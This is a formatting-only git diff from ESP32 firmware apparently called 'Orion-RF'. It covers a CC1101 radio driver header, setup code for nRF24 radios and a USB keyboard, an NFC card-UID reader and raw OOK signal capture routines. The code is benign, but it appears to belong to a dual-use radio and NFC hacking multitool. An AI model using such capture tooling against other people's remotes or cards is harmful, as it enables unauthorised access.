|
||||||
#define CC1101_AGCCTRL2 0x1B // AGC control
|
#define CC1101_AGCCTRL2 0x1B // AGC control
|
||||||
#define CC1101_AGCCTRL1 0x1C // AGC control
|
#define CC1101_AGCCTRL1 0x1C // AGC control
|
||||||
#define CC1101_AGCCTRL0 0x1D // AGC control
|
#define CC1101_AGCCTRL0 0x1D // AGC control
|
||||||
#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout
|
#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout
|
||||||
#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout
|
#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout
|
||||||
#define CC1101_WORCTRL 0x20 // Wake On Radio control
|
#define CC1101_WORCTRL 0x20 // Wake On Radio control
|
||||||
#define CC1101_FREND1 0x21 // Front end RX configuration
|
#define CC1101_FREND1 0x21 // Front end RX configuration
|
||||||
#define CC1101_FREND0 0x22 // Front end TX configuration
|
#define CC1101_FREND0 0x22 // Front end TX configuration
|
||||||
#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration
|
#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration
|
||||||
#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration
|
#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration
|
||||||
#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration
|
#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration
|
||||||
#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration
|
#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration
|
||||||
#define CC1101_RCCTRL1 0x27 // RC oscillator configuration
|
#define CC1101_RCCTRL1 0x27 // RC oscillator configuration
|
||||||
#define CC1101_RCCTRL0 0x28 // RC oscillator configuration
|
#define CC1101_RCCTRL0 0x28 // RC oscillator configuration
|
||||||
#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control
|
#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control
|
||||||
#define CC1101_PTEST 0x2A // Production test
|
#define CC1101_PTEST 0x2A // Production test
|
||||||
#define CC1101_AGCTEST 0x2B // AGC test
|
#define CC1101_AGCTEST 0x2B // AGC test
|
||||||
#define CC1101_TEST2 0x2C // Various test settings
|
#define CC1101_TEST2 0x2C // Various test settings
|
||||||
#define CC1101_TEST1 0x2D // Various test settings
|
#define CC1101_TEST1 0x2D // Various test settings
|
||||||
#define CC1101_TEST0 0x2E // Various test settings
|
#define CC1101_TEST0 0x2E // Various test settings
|
||||||
|
|
||||||
//CC1101 Strobe commands
|
// CC1101 Strobe commands
|
||||||
#define CC1101_SRES 0x30 // Reset chip.
|
#define CC1101_SRES 0x30 // Reset chip.
|
||||||
#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).
|
#define CC1101_SFSTXON \
|
||||||
// If in RX/TX: Go to a wait state where only the synthesizer is
|
0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).
|
||||||
// running (for quick RX / TX turnaround).
|
// If in RX/TX: Go to a wait state where only the synthesizer is
|
||||||
#define CC1101_SXOFF 0x32 // Turn off crystal oscillator.
|
// running (for quick RX / TX turnaround).
|
||||||
#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off
|
#define CC1101_SXOFF 0x32 // Turn off crystal oscillator.
|
||||||
// (enables quick start).
|
#define CC1101_SCAL \
|
||||||
#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and
|
0x33 // Calibrate frequency synthesizer and turn it off
|
||||||
// MCSM0.FS_AUTOCAL=1.
|
// (enables quick start).
|
||||||
#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if
|
#define CC1101_SRX \
|
||||||
// MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:
|
0x34 // Enable RX. Perform calibration first if coming from IDLE and
|
||||||
// Only go to TX if channel is clear.
|
// MCSM0.FS_AUTOCAL=1.
|
||||||
#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit
|
#define CC1101_STX \
|
||||||
// Wake-On-Radio mode if applicable.
|
0x35 // In IDLE state: Enable TX. Perform calibration first if
|
||||||
#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer
|
// MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:
|
||||||
#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio)
|
// Only go to TX if channel is clear.
|
||||||
#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high.
|
#define CC1101_SIDLE \
|
||||||
#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer.
|
0x36 // Exit RX / TX, turn off frequency synthesizer and exit
|
||||||
#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer.
|
// Wake-On-Radio mode if applicable.
|
||||||
#define CC1101_SWORRST 0x3C // Reset real time clock.
|
#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer
|
||||||
#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two
|
#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio)
|
||||||
// INT8Us for simpler software.
|
#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high.
|
||||||
//CC1101 STATUS REGSITER
|
#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer.
|
||||||
#define CC1101_PARTNUM 0x30
|
#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer.
|
||||||
#define CC1101_VERSION 0x31
|
#define CC1101_SWORRST 0x3C // Reset real time clock.
|
||||||
#define CC1101_FREQEST 0x32
|
#define CC1101_SNOP \
|
||||||
#define CC1101_LQI 0x33
|
0x3D // No operation. May be used to pad strobe commands to two
|
||||||
#define CC1101_RSSI 0x34
|
// INT8Us for simpler software.
|
||||||
#define CC1101_MARCSTATE 0x35
|
// CC1101 STATUS REGSITER
|
||||||
#define CC1101_WORTIME1 0x36
|
#define CC1101_PARTNUM 0x30
|
||||||
#define CC1101_WORTIME0 0x37
|
#define CC1101_VERSION 0x31
|
||||||
#define CC1101_PKTSTATUS 0x38
|
#define CC1101_FREQEST 0x32
|
||||||
#define CC1101_VCO_VC_DAC 0x39
|
#define CC1101_LQI 0x33
|
||||||
#define CC1101_TXBYTES 0x3A
|
#define CC1101_RSSI 0x34
|
||||||
#define CC1101_RXBYTES 0x3B
|
#define CC1101_MARCSTATE 0x35
|
||||||
|
#define CC1101_WORTIME1 0x36
|
||||||
|
#define CC1101_WORTIME0 0x37
|
||||||
|
#define CC1101_PKTSTATUS 0x38
|
||||||
|
#define CC1101_VCO_VC_DAC 0x39
|
||||||
|
#define CC1101_TXBYTES 0x3A
|
||||||
|
#define CC1101_RXBYTES 0x3B
|
||||||
|
|
||||||
//CC1101 PATABLE,TXFIFO,RXFIFO
|
// CC1101 PATABLE,TXFIFO,RXFIFO
|
||||||
#define CC1101_PATABLE 0x3E
|
#define CC1101_PATABLE 0x3E
|
||||||
#define CC1101_TXFIFO 0x3F
|
#define CC1101_TXFIFO 0x3F
|
||||||
#define CC1101_RXFIFO 0x3F
|
#define CC1101_RXFIFO 0x3F
|
||||||
|
|
||||||
//************************************* class **************************************************//
|
//************************************* class
|
||||||
class ELECHOUSE_CC1101
|
//**************************************************//
|
||||||
{
|
class ELECHOUSE_CC1101 {
|
||||||
private:
|
private:
|
||||||
void SpiStart(void);
|
void SpiStart(void);
|
||||||
void SpiEnd(void);
|
void SpiEnd(void);
|
||||||
void GDO_Set (void);
|
void GDO_Set(void);
|
||||||
void GDO0_Set (void);
|
void GDO0_Set(void);
|
||||||
void Reset (void);
|
void Reset(void);
|
||||||
void setSpi(void);
|
void setSpi(void);
|
||||||
void RegConfigSettings(void);
|
void RegConfigSettings(void);
|
||||||
void Calibrate(void);
|
void Calibrate(void);
|
||||||
void Split_PKTCTRL0(void);
|
void Split_PKTCTRL0(void);
|
||||||
void Split_PKTCTRL1(void);
|
void Split_PKTCTRL1(void);
|
||||||
void Split_MDMCFG1(void);
|
void Split_MDMCFG1(void);
|
||||||
void Split_MDMCFG2(void);
|
void Split_MDMCFG2(void);
|
||||||
void Split_MDMCFG4(void);
|
void Split_MDMCFG4(void);
|
||||||
public:
|
|
||||||
void Init(void);
|
public:
|
||||||
byte SpiReadStatus(byte addr);
|
void Init(void);
|
||||||
void setSpiPin(byte sck, byte miso, byte mosi, byte ss);
|
byte SpiReadStatus(byte addr);
|
||||||
void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul);
|
void setSpiPin(byte sck, byte miso, byte mosi, byte ss);
|
||||||
void setGDO(byte gdo0, byte gdo2);
|
void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul);
|
||||||
void setGDO0(byte gdo0);
|
void setGDO(byte gdo0, byte gdo2);
|
||||||
void addGDO(byte gdo0, byte gdo2, byte modul);
|
void setGDO0(byte gdo0);
|
||||||
void addGDO0(byte gdo0, byte modul);
|
void addGDO(byte gdo0, byte gdo2, byte modul);
|
||||||
void setModul(byte modul);
|
void addGDO0(byte gdo0, byte modul);
|
||||||
void setCCMode(bool s);
|
void setModul(byte modul);
|
||||||
void setModulation(byte m);
|
void setCCMode(bool s);
|
||||||
void setPA(int p);
|
void setModulation(byte m);
|
||||||
void setMHZ(float mhz);
|
void setPA(int p);
|
||||||
void setChannel(byte chnl);
|
void setMHZ(float mhz);
|
||||||
void setChsp(float f);
|
void setChannel(byte chnl);
|
||||||
void setRxBW(float f);
|
void setChsp(float f);
|
||||||
void setDRate(float d);
|
void setRxBW(float f);
|
||||||
void setDeviation(float d);
|
void setDRate(float d);
|
||||||
void SetTx(void);
|
void setDeviation(float d);
|
||||||
void SetRx(void);
|
void SetTx(void);
|
||||||
void SetTx(float mhz);
|
void SetRx(void);
|
||||||
void SetRx(float mhz);
|
void SetTx(float mhz);
|
||||||
int getRssi(void);
|
void SetRx(float mhz);
|
||||||
byte getLqi(void);
|
int getRssi(void);
|
||||||
void setSres(void);
|
byte getLqi(void);
|
||||||
void setSidle(void);
|
void setSres(void);
|
||||||
void goSleep(void);
|
void setSidle(void);
|
||||||
void SendData(byte *txBuffer, byte size);
|
void goSleep(void);
|
||||||
void SendData(char *txchar);
|
void SendData(byte *txBuffer, byte size);
|
||||||
void SendData(byte *txBuffer, byte size, int t);
|
void SendData(char *txchar);
|
||||||
void SendData(char *txchar, int t);
|
void SendData(byte *txBuffer, byte size, int t);
|
||||||
byte CheckReceiveFlag(void);
|
void SendData(char *txchar, int t);
|
||||||
byte ReceiveData(byte *rxBuffer);
|
byte CheckReceiveFlag(void);
|
||||||
bool CheckCRC(void);
|
byte ReceiveData(byte *rxBuffer);
|
||||||
void SpiStrobe(byte strobe);
|
bool CheckCRC(void);
|
||||||
void SpiWriteReg(byte addr, byte value);
|
void SpiStrobe(byte strobe);
|
||||||
void SpiWriteBurstReg(byte addr, byte *buffer, byte num);
|
void SpiWriteReg(byte addr, byte value);
|
||||||
byte SpiReadReg(byte addr);
|
void SpiWriteBurstReg(byte addr, byte *buffer, byte num);
|
||||||
void SpiReadBurstReg(byte addr, byte *buffer, byte num);
|
byte SpiReadReg(byte addr);
|
||||||
void setClb(byte b, byte s, byte e);
|
void SpiReadBurstReg(byte addr, byte *buffer, byte num);
|
||||||
bool getCC1101(void);
|
void setClb(byte b, byte s, byte e);
|
||||||
byte getMode(void);
|
bool getCC1101(void);
|
||||||
void setSyncWord(byte sh, byte sl);
|
byte getMode(void);
|
||||||
void setAddr(byte v);
|
void setSyncWord(byte sh, byte sl);
|
||||||
void setWhiteData(bool v);
|
void setAddr(byte v);
|
||||||
void setPktFormat(byte v);
|
void setWhiteData(bool v);
|
||||||
void setCrc(bool v);
|
void setPktFormat(byte v);
|
||||||
void setLengthConfig(byte v);
|
void setCrc(bool v);
|
||||||
void setPacketLength(byte v);
|
void setLengthConfig(byte v);
|
||||||
void setDcFilterOff(bool v);
|
void setPacketLength(byte v);
|
||||||
void setManchester(bool v);
|
void setDcFilterOff(bool v);
|
||||||
void setSyncMode(byte v);
|
void setManchester(bool v);
|
||||||
void setFEC(bool v);
|
void setSyncMode(byte v);
|
||||||
void setPRE(byte v);
|
void setFEC(bool v);
|
||||||
void setPQT(byte v);
|
void setPRE(byte v);
|
||||||
void setCRC_AF(bool v);
|
void setPQT(byte v);
|
||||||
void setAppendStatus(bool v);
|
void setCRC_AF(bool v);
|
||||||
void setAdrChk(byte v);
|
void setAppendStatus(bool v);
|
||||||
bool CheckRxFifo(int t);
|
void setAdrChk(byte v);
|
||||||
|
bool CheckRxFifo(int t);
|
||||||
};
|
};
|
||||||
|
|
||||||
extern ELECHOUSE_CC1101 ELECHOUSE_cc1101;
|
extern ELECHOUSE_CC1101 ELECHOUSE_cc1101;
|
||||||
|
|
|
||||||
96
src/main.cpp
96
src/main.cpp
|
|
@ -37,88 +37,88 @@ RF24 radio2(CE2_PIN, CSN2_PIN);
|
||||||
SPIClass *RADIO_SPI;
|
SPIClass *RADIO_SPI;
|
||||||
|
|
||||||
void deactivateNRF1() {
|
void deactivateNRF1() {
|
||||||
digitalWrite(CSN1_PIN, HIGH);
|
digitalWrite(CSN1_PIN, HIGH);
|
||||||
digitalWrite(CE1_PIN, LOW);
|
digitalWrite(CE1_PIN, LOW);
|
||||||
}
|
}
|
||||||
|
|
||||||
void deactivateNRF2() {
|
void deactivateNRF2() {
|
||||||
digitalWrite(CSN2_PIN, HIGH);
|
digitalWrite(CSN2_PIN, HIGH);
|
||||||
digitalWrite(CE2_PIN, LOW);
|
digitalWrite(CE2_PIN, LOW);
|
||||||
}
|
}
|
||||||
|
|
||||||
// ================= SYSTEM INFO =================
|
// ================= SYSTEM INFO =================
|
||||||
void printSystemUsage() {
|
void printSystemUsage() {
|
||||||
esp_chip_info_t chip_info;
|
esp_chip_info_t chip_info;
|
||||||
|
|
||||||
esp_chip_info(&chip_info);
|
esp_chip_info(&chip_info);
|
||||||
|
|
||||||
Serial.printf("CPU cores: %d\n", chip_info.cores);
|
Serial.printf("CPU cores: %d\n", chip_info.cores);
|
||||||
|
|
||||||
Serial.printf("Free heap: %d bytes\n",
|
Serial.printf("Free heap: %d bytes\n",
|
||||||
heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
|
heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
|
||||||
|
|
||||||
Serial.printf("PSRAM free: %d bytes\n",
|
Serial.printf("PSRAM free: %d bytes\n",
|
||||||
heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
|
heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
|
||||||
}
|
}
|
||||||
|
|
||||||
void showSplash() {
|
void showSplash() {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
|
|
||||||
u8g2.setFont(u8g2_font_logisoso20_tr); // big font
|
u8g2.setFont(u8g2_font_logisoso20_tr); // big font
|
||||||
u8g2.drawStr(10, 40, "Orion-RF");
|
u8g2.drawStr(10, 40, "Orion-RF");
|
||||||
|
|
||||||
u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
|
u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
|
||||||
u8g2.drawStr(25, 58, "Initializing...");
|
u8g2.drawStr(25, 58, "Initializing...");
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
delay(1500); // 1.5 sec
|
delay(1500); // 1.5 sec
|
||||||
}
|
}
|
||||||
|
|
||||||
// ================= SETUP =================
|
// ================= SETUP =================
|
||||||
void setup() {
|
void setup() {
|
||||||
Serial.begin(115200);
|
Serial.begin(115200);
|
||||||
|
|
||||||
displayInit();
|
displayInit();
|
||||||
showSplash();
|
showSplash();
|
||||||
|
|
||||||
buttonsInit();
|
buttonsInit();
|
||||||
menuInit();
|
menuInit();
|
||||||
|
|
||||||
delay(1500);
|
delay(1500);
|
||||||
|
|
||||||
USB.begin();
|
USB.begin();
|
||||||
Keyboard.begin();
|
Keyboard.begin();
|
||||||
|
|
||||||
// NRF SPI safety
|
// NRF SPI safety
|
||||||
// pinMode(CSN1_PIN, OUTPUT);
|
// pinMode(CSN1_PIN, OUTPUT);
|
||||||
// digitalWrite(CSN1_PIN, HIGH);
|
// digitalWrite(CSN1_PIN, HIGH);
|
||||||
|
|
||||||
// pinMode(CSN2_PIN, OUTPUT);
|
// pinMode(CSN2_PIN, OUTPUT);
|
||||||
// digitalWrite(CSN2_PIN, HIGH);
|
// digitalWrite(CSN2_PIN, HIGH);
|
||||||
deactivateNRF1();
|
deactivateNRF1();
|
||||||
deactivateNRF2();
|
deactivateNRF2();
|
||||||
|
|
||||||
RADIO_SPI = new SPIClass(FSPI);
|
RADIO_SPI = new SPIClass(FSPI);
|
||||||
RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
|
RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
|
||||||
|
|
||||||
// ===== CC1101 SPI INIT =====
|
// ===== CC1101 SPI INIT =====
|
||||||
// SPI.begin(
|
// SPI.begin(
|
||||||
// cc1101_SCK,
|
// cc1101_SCK,
|
||||||
// cc1101_MISO,
|
// cc1101_MISO,
|
||||||
// cc1101_MOSI,
|
// cc1101_MOSI,
|
||||||
// CC1101_CS
|
// CC1101_CS
|
||||||
//);
|
//);
|
||||||
|
|
||||||
// pinMode(CC1101_CS, OUTPUT);
|
// pinMode(CC1101_CS, OUTPUT);
|
||||||
// pinMode(CC1101_2_CS, OUTPUT);
|
// pinMode(CC1101_2_CS, OUTPUT);
|
||||||
|
|
||||||
// digitalWrite(CC1101_CS, HIGH);
|
// digitalWrite(CC1101_CS, HIGH);
|
||||||
// digitalWrite(CC1101_2_CS, HIGH);
|
// digitalWrite(CC1101_2_CS, HIGH);
|
||||||
|
|
||||||
printSystemUsage();
|
printSystemUsage();
|
||||||
|
|
||||||
Serial.println("SYSTEM READY");
|
Serial.println("SYSTEM READY");
|
||||||
}
|
}
|
||||||
|
|
||||||
// ================= LOOP =================
|
// ================= LOOP =================
|
||||||
|
|
|
||||||
104
src/nfc/nfc.cpp
104
src/nfc/nfc.cpp
|
|
@ -15,90 +15,90 @@
|
||||||
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
|
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
|
||||||
|
|
||||||
void drawWaiting() {
|
void drawWaiting() {
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
|
|
||||||
u8g2.drawStr(10, 20, "PN532 Ready");
|
u8g2.drawStr(10, 20, "PN532 Ready");
|
||||||
u8g2.drawStr(10, 40, "Tap NFC Card");
|
u8g2.drawStr(10, 40, "Tap NFC Card");
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
void showUID(uint8_t *uid, uint8_t uidLength) {
|
void showUID(uint8_t *uid, uint8_t uidLength) {
|
||||||
char line[64];
|
char line[64];
|
||||||
|
|
||||||
String uidStr = "";
|
String uidStr = "";
|
||||||
|
|
||||||
for (int i = 0; i < uidLength; i++) {
|
for (int i = 0; i < uidLength; i++) {
|
||||||
if (uid[i] < 0x10)
|
if (uid[i] < 0x10)
|
||||||
uidStr += "0";
|
uidStr += "0";
|
||||||
|
|
||||||
uidStr += String(uid[i], HEX);
|
uidStr += String(uid[i], HEX);
|
||||||
uidStr += " ";
|
uidStr += " ";
|
||||||
}
|
}
|
||||||
|
|
||||||
uidStr.toUpperCase();
|
uidStr.toUpperCase();
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
|
|
||||||
u8g2.drawStr(0, 15, "Card Detected");
|
u8g2.drawStr(0, 15, "Card Detected");
|
||||||
|
|
||||||
snprintf(line, sizeof(line), "UID:");
|
snprintf(line, sizeof(line), "UID:");
|
||||||
|
|
||||||
u8g2.drawStr(0, 35, line);
|
u8g2.drawStr(0, 35, line);
|
||||||
|
|
||||||
u8g2.drawStr(0, 50, uidStr.c_str());
|
u8g2.drawStr(0, 50, uidStr.c_str());
|
||||||
|
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
void pn532_init() {
|
void pn532_init() {
|
||||||
delay(100);
|
delay(100);
|
||||||
nfc.begin();
|
nfc.begin();
|
||||||
delay(100);
|
delay(100);
|
||||||
|
|
||||||
uint32_t versiondata = nfc.getFirmwareVersion();
|
uint32_t versiondata = nfc.getFirmwareVersion();
|
||||||
|
|
||||||
if (!versiondata) {
|
if (!versiondata) {
|
||||||
Serial.println("PN532 not found");
|
Serial.println("PN532 not found");
|
||||||
|
|
||||||
u8g2.clearBuffer();
|
u8g2.clearBuffer();
|
||||||
u8g2.drawStr(0, 20, "PN532 NOT FOUND");
|
u8g2.drawStr(0, 20, "PN532 NOT FOUND");
|
||||||
u8g2.sendBuffer();
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
delay(2000);
|
delay(2000);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
Serial.println("PN532 initialized");
|
Serial.println("PN532 initialized");
|
||||||
|
|
||||||
nfc.SAMConfig();
|
nfc.SAMConfig();
|
||||||
}
|
}
|
||||||
|
|
||||||
void pn532_scan_loop() {
|
void pn532_scan_loop() {
|
||||||
pn532_init();
|
pn532_init();
|
||||||
|
|
||||||
drawWaiting();
|
drawWaiting();
|
||||||
|
|
||||||
while (1) {
|
while (1) {
|
||||||
uint8_t success;
|
uint8_t success;
|
||||||
uint8_t uid[7];
|
uint8_t uid[7];
|
||||||
uint8_t uidLength;
|
uint8_t uidLength;
|
||||||
|
|
||||||
Serial.println("Scanning...");
|
Serial.println("Scanning...");
|
||||||
success =
|
success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid,
|
||||||
nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
|
&uidLength, 50);
|
||||||
|
|
||||||
if (success) {
|
if (success) {
|
||||||
Serial.println("Card detected");
|
Serial.println("Card detected");
|
||||||
|
|
||||||
showUID(uid, uidLength);
|
showUID(uid, uidLength);
|
||||||
|
|
||||||
delay(1000);
|
delay(1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (btnBack()) {
|
||||||
|
delay(150);
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (btnBack()) {
|
|
||||||
delay(150);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -27,331 +27,331 @@ int powerLevel = 10;
|
||||||
|
|
||||||
// ===== ISR =====
|
// ===== ISR =====
|
||||||
void IRAM_ATTR pulseISR() {
|
void IRAM_ATTR pulseISR() {
|
||||||
unsigned long now = micros();
|
unsigned long now = micros();
|
||||||
|
|
||||||
if (!capturing)
|
if (!capturing)
|
||||||
return;
|
return;
|
||||||
if (pulseIndex >= RAW_BUF_MAX)
|
if (pulseIndex >= RAW_BUF_MAX)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
unsigned long duration = now - lastEdgeTime;
|
unsigned long duration = now - lastEdgeTime;
|
||||||
|
|
||||||
if (duration < 150)
|
if (duration < 150)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
captureBuffer[pulseIndex++] = duration;
|
captureBuffer[pulseIndex++] = duration;
|
||||||
lastEdgeTime = now;
|
lastEdgeTime = now;
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== OOK SETUP =====
|
// ===== OOK SETUP =====
|
||||||
void setupOOKMode() {
|
void setupOOKMode() {
|
||||||
ELECHOUSE_cc1101.SetRx();
|
ELECHOUSE_cc1101.SetRx();
|
||||||
ELECHOUSE_cc1101.setMHZ(currentFreq);
|
ELECHOUSE_cc1101.setMHZ(currentFreq);
|
||||||
|
|
||||||
ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
|
ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
|
||||||
ELECHOUSE_cc1101.setDRate(dataRate);
|
ELECHOUSE_cc1101.setDRate(dataRate);
|
||||||
ELECHOUSE_cc1101.setDeviation(0);
|
ELECHOUSE_cc1101.setDeviation(0);
|
||||||
ELECHOUSE_cc1101.setRxBW(rxBW);
|
ELECHOUSE_cc1101.setRxBW(rxBW);
|
||||||
ELECHOUSE_cc1101.setSyncMode(0);
|
ELECHOUSE_cc1101.setSyncMode(0);
|
||||||
ELECHOUSE_cc1101.setPA(powerLevel);
|
ELECHOUSE_cc1101.setPA(powerLevel);
|
||||||
}
|
}
|
||||||
|
|
||||||
// ===== INIT (LAZY, SAFE) =====
|
// ===== INIT (LAZY, SAFE) =====
|
||||||
// ================= CC1101 INIT =================
|
// ================= CC1101 INIT =================
|
||||||
bool initCC1101() {
|
bool initCC1101() {
|
||||||
Serial.println();
|
Serial.println();
|
||||||
Serial.println("===== CC1101 INIT =====");
|
Serial.println("===== CC1101 INIT =====");
|
||||||
|
|
||||||
// ===== SPI =====
|
// ===== SPI =====
|
||||||
SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
|
SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
|
||||||
|
|
||||||
pinMode(CC1101_CS, OUTPUT);
|
pinMode(CC1101_CS, OUTPUT);
|
||||||
digitalWrite(CC1101_CS, HIGH);
|
digitalWrite(CC1101_CS, HIGH);
|
||||||
|
|
||||||
delay(100);
|
delay(100);
|
||||||
|
|
||||||
// ===== GDO =====
|
// ===== GDO =====
|
||||||
ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
|
ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
|
||||||
|
|
||||||
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
|
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
|
||||||
|
|
||||||
// ===== DETECT =====
|
// ===== DETECT =====
|
||||||
Serial.println("Checking chip...");
|
Serial.println("Checking chip...");
|
||||||
|
|
||||||
if (!ELECHOUSE_cc1101.getCC1101()) {
|
if (!ELECHOUSE_cc1101.getCC1101()) {
|
||||||
Serial.println("❌ CC1101 NOT FOUND");
|
Serial.println("❌ CC1101 NOT FOUND");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
Serial.println("✅ CC1101 FOUND");
|
Serial.println("✅ CC1101 FOUND");
|
||||||
|
|
||||||
// ===== IMPORTANT =====
|
// ===== IMPORTANT =====
|
||||||
// DO NOT CALL Init()
|
// DO NOT CALL Init()
|
||||||
// it freezes on some ESP32-S3 setups
|
// it freezes on some ESP32-S3 setups
|
||||||
|
|
||||||
// ===== MANUAL CONFIG =====
|
// ===== MANUAL CONFIG =====
|
||||||
ELECHOUSE_cc1101.setMHZ(currentFreq);
|
ELECHOUSE_cc1101.setMHZ(currentFreq);
|
||||||
|
|
||||||
// 2 = ASK/OOK
|
// 2 = ASK/OOK
|
||||||
ELECHOUSE_cc1101.setModulation(2);
|
ELECHOUSE_cc1101.setModulation(2);
|
||||||
|
|
||||||
ELECHOUSE_cc1101.setDRate(dataRate);
|
ELECHOUSE_cc1101.setDRate(dataRate);
|
||||||
|
|
||||||
ELECHOUSE_cc1101.setRxBW(rxBW);
|
ELECHOUSE_cc1101.setRxBW(rxBW);
|
||||||
|
|
||||||
ELECHOUSE_cc1101.setDeviation(0);
|
ELECHOUSE_cc1101.setDeviation(0);
|
||||||
|
|
||||||
// disable sync requirement
|
// disable sync requirement
|
||||||
ELECHOUSE_cc1101.setSyncMode(0);
|
ELECHOUSE_cc1101.setSyncMode(0);
|
||||||
|
|
||||||
ELECHOUSE_cc1101.setPA(powerLevel);
|
ELECHOUSE_cc1101.setPA(powerLevel);
|
||||||
|
|
||||||
// async serial mode
|
// async serial mode
|
||||||
ELECHOUSE_cc1101.setCCMode(0);
|
ELECHOUSE_cc1101.setCCMode(0);
|
||||||
|
|
||||||
// enter RX
|
// enter RX
|
||||||
ELECHOUSE_cc1101.SetRx();
|
ELECHOUSE_cc1101.SetRx();
|
||||||
|
|
||||||
pinMode(CC1101_GDO0, INPUT);
|
pinMode(CC1101_GDO0, INPUT);
|
||||||
|
|
||||||
Serial.println("✅ RX MODE READY");
|
Serial.println("✅ RX MODE READY");
|
||||||
|
|
||||||
cc1101Inited = true;
|
cc1101Inited = true;
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
// ===== CAPTURE CONTROL =====
|
// ===== CAPTURE CONTROL =====
|
||||||
void startCapture() {
|
void startCapture() {
|
||||||
pulseIndex = 0;
|
pulseIndex = 0;
|
||||||
capturing = true;
|
capturing = true;
|
||||||
lastEdgeTime = micros();
|
lastEdgeTime = micros();
|
||||||
|
|
||||||
attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
|
attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
|
||||||
|
|
||||||
Serial.println("Looking for RF... ");
|
Serial.println("Looking for RF... ");
|
||||||
}
|
}
|
||||||
|
|
||||||
bool isCC1101Ready() { return cc1101Inited; }
|
bool isCC1101Ready() { return cc1101Inited; }
|
||||||
|
|
||||||
void stopCapture() {
|
void stopCapture() {
|
||||||
capturing = false;
|
capturing = false;
|
||||||
|
|
||||||
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
|
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
|
||||||
|
|
||||||
Serial.println("Capture stopped");
|
